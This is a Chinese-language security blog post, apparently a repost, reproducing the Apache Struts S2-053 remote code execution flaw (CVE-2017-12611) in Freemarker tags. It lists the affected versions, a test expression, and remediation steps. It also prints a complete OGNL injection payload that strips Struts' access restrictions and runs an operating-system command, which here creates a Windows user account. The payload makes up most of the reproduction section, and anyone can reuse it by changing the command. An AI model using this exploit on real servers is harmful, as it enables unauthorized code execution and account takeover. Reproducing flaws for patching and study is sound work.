S2-053漏洞重现(附exp)

admin 2018年5月8日04:57:33评论796 views字数 1430阅读4分46秒阅读模式
摘要

9月7日,apache struts放出s2-053安全公告,漏洞编号:CVE-2017-12611,漏洞在于当freemarker标签使用表达式常量或强制的表达式时会导致RCE。


0x00 概述:

9月7日,apache struts放出s2-053安全公告,漏洞编号:CVE-2017-12611

,漏洞在于当freemarker标签使用表达式常量或强制的表达式时会导致RCE。

官方summary:

A possible Remote Code Execution attack when using an unintentional expression in Freemarker tag instead of string literals

0x01 影响范围:

Struts 2.0.1 – Struts 2.3.33,

Struts 2.5 – Struts 2.5.10

0x02 漏洞重现:

利用war包或docker很容易部署环境。

打开页面,输入表达式%{33-1}进行测试,发现成功执行,返回32:
S2-053漏洞重现(附exp)

利用exp创建账户,exp如下:

%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='net user iamlsa iamlsa /add').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} 

成功创建iamlsa账户
S2-053漏洞重现(附exp)
重现成功!

0x03 修复方案:

升级到Apache Struts2.5.12或2.3.34
Freemarker标签内容不要通过Request方式获取
使用只读属性来初始化value属性(仅限getter属性)
不要使用如下结构
<@s.hidden name=”redirectUri” value=redirectUri />

<@s.hidden name=”redirectUri” value=”${redirectUri}” /> 

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2018年5月8日04:57:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   S2-053漏洞重现(附exp)https://cn-sec.com/archives/50607.html

发表评论

匿名网友 填写信息